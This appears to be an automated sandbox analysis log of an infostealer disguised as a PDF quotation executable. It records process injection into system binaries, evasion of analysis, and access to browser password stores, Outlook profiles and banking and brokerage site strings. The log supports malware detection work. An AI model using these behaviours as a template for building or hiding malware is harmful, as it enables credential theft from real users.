Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		2_2_00464EAE

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

2_2_0045D619

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

2_2_004755C4

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

2_2_0047839D

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

2_2_0043305F

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

File created: C:\Users\user~1\AppData\Local\Temp\aut77F7.tmp

Source: Quotation request -30112024_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003084000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3131128904.000000000305F000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003056000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003031000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1892153485.0000000003056000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Quotation request -30112024_pdf.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

File read: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Source: unknown	Process created: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe "C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Process created: C:\Windows\SysWOW64\RMActivate_isv.exe "C:\Windows\SysWOW64\RMActivate_isv.exe"
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Process created: C:\Windows\SysWOW64\RMActivate_isv.exe "C:\Windows\SysWOW64\RMActivate_isv.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\RMActivate_isv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xvYhLzczmazJ.exe, 0000000A.00000000.1561536330.00000000000EE000.00000002.00000001.01000000.00000005.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1722910301.00000000000EE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Quotation request -30112024_pdf.exe, 00000002.00000003.1298534176.00000000042F0000.00000004.00001000.00020000.00000000.sdmp, Quotation request -30112024_pdf.exe, 00000002.00000003.1299779489.0000000004490000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1546649019.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1544927146.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1641739098.0000000003165000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.000000000365E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1644453148.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Quotation request -30112024_pdf.exe, 00000002.00000003.1298534176.00000000042F0000.00000004.00001000.00020000.00000000.sdmp, Quotation request -30112024_pdf.exe, 00000002.00000003.1299779489.0000000004490000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000002.1641673492.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1546649019.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1544927146.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, RMActivate_isv.exe, 0000000B.00000003.1641739098.0000000003165000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.000000000365E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1644453148.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rmactivate_isv.pdb source: svchost.exe, 00000007.00000003.1605760726.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1605855367.0000000006A00000.00000004.00000020.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576053827.000000000420D000.00000004.00000001.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576936987.00000000042AA000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: rmactivate_isv.pdbGCTL source: svchost.exe, 00000007.00000003.1605760726.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1605855367.0000000006A00000.00000004.00000020.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576053827.000000000420D000.00000004.00000001.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576936987.00000000042AA000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FD3000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723645888.0000000002DFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.00000000288EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FD3000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723645888.0000000002DFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.00000000288EC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0040EBD0 LoadLibraryA,GetProcAddress,

2_2_0040EBD0

Source: Quotation request -30112024_pdf.exe

Static PE information: real checksum: 0xa961f should be: 0xefb8d

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00416CB5 push ecx; ret	2_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00414129 push ebx; iretd	7_2_00414136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00422192 push ss; ret	7_2_0042219A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0041EEFA push ebx; iretd	7_2_0041EF05
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00411766 push ebp; retf	7_2_00411767
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402FB0 push eax; ret	7_2_00402FB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C0225F pushad ; ret	7_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C027FA pushad ; ret	7_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C309AD push ecx; mov dword ptr [esp], ecx	7_2_03C309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C0283D push eax; iretd	7_2_03C02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C01368 push eax; iretd	7_2_03C01369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C01065 push edi; ret	7_2_03C0108A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C018F3 push edx; iretd	7_2_03C01906
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034F09AD push ecx; mov dword ptr [esp], ecx	11_2_034F09B6
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E0E7B3 push ebp; retf	11_2_02E0E7B4
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E1BF47 push ebx; iretd	11_2_02E1BF52
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EC327 pushad ; ret	11_2_033EC328
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033E046A push ds; ret	11_2_033E0475

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		2_2_0047A330
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		2_2_00434418

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	API/Special instruction interceptor: Address: 326329C
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API/Special instruction interceptor: Address: 7FFB2CECDA44

Source: C:\Windows\SysWOW64\RMActivate_isv.exe

File opened / queried: C:\Program Files (x86)\VMware Workstation\Fuxm8.exe

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_03C7096E rdtsc

7_2_03C7096E

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	API coverage: 4.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\RMActivate_isv.exe TID: 1876	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe TID: 1876	Thread sleep time: -82000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe TID: 5528	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe TID: 5528	Thread sleep time: -34500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	2_2_004339B6
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	2_2_00452492
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00442886
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_004788BD
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	2_2_0045CAFA
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00431A86
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	2_2_0044BD27
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0045DE8F FindFirstFileW,FindClose,	2_2_0045DE8F
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0044BF8B
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E1C380 FindFirstFileW,FindNextFileW,FindClose,	11_2_02E1C380

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

2_2_0040E500

Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Z9508-2L1.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Z9508-2L1.11.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Quotation request -30112024_pdf.exe, 00000002.00000003.1300099287.0000000000A3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Z9508-2L1.11.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Z9508-2L1.11.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: xvYhLzczmazJ.exe, 0000000C.00000000.1723645888.0000000002B22000.00000004.00000001.00040000.00000000.sdmp	Binary or memory string: C:\Program Files (x86)\VMware Workstation\Fuxm8.exeFuxm8.exeC:\Program Files (x86)C:\Users\user~1\AppData\Local\Temp
Source: Z9508-2L1.11.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: xvYhLzczmazJ.exe, 0000000C.00000002.3133251885.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: firefox.exe, 00000010.00000002.2001992886.000002B5A880F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files (x86)\VMware Workstation\Fuxm8.exe/
Source: RMActivate_isv.exe, 0000000B.00000002.3130488624.0000000002BB8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: uC:\Program Files (x86)\VMware Workstation\Fuxm8.exe
Source: Z9508-2L1.11.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Z9508-2L1.11.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Z9508-2L1.11.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Quotation request -30112024_pdf.exe, 00000002.00000003.1300099287.0000000000A3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Z9508-2L1.11.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Z9508-2L1.11.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files (x86)\VMware Workstation\Fuxm8.exe<
Source: Z9508-2L1.11.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: firefox.exe, 00000010.00000002.2000496930.0000000028612000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: C:\Program Files (x86)\VMware Workstation\Fuxm8.exe
Source: Z9508-2L1.11.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: Z9508-2L1.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files (x86)\VMware Workstation\Fuxm8.exe
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Z9508-2L1.11.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Z9508-2L1.11.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Z9508-2L1.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
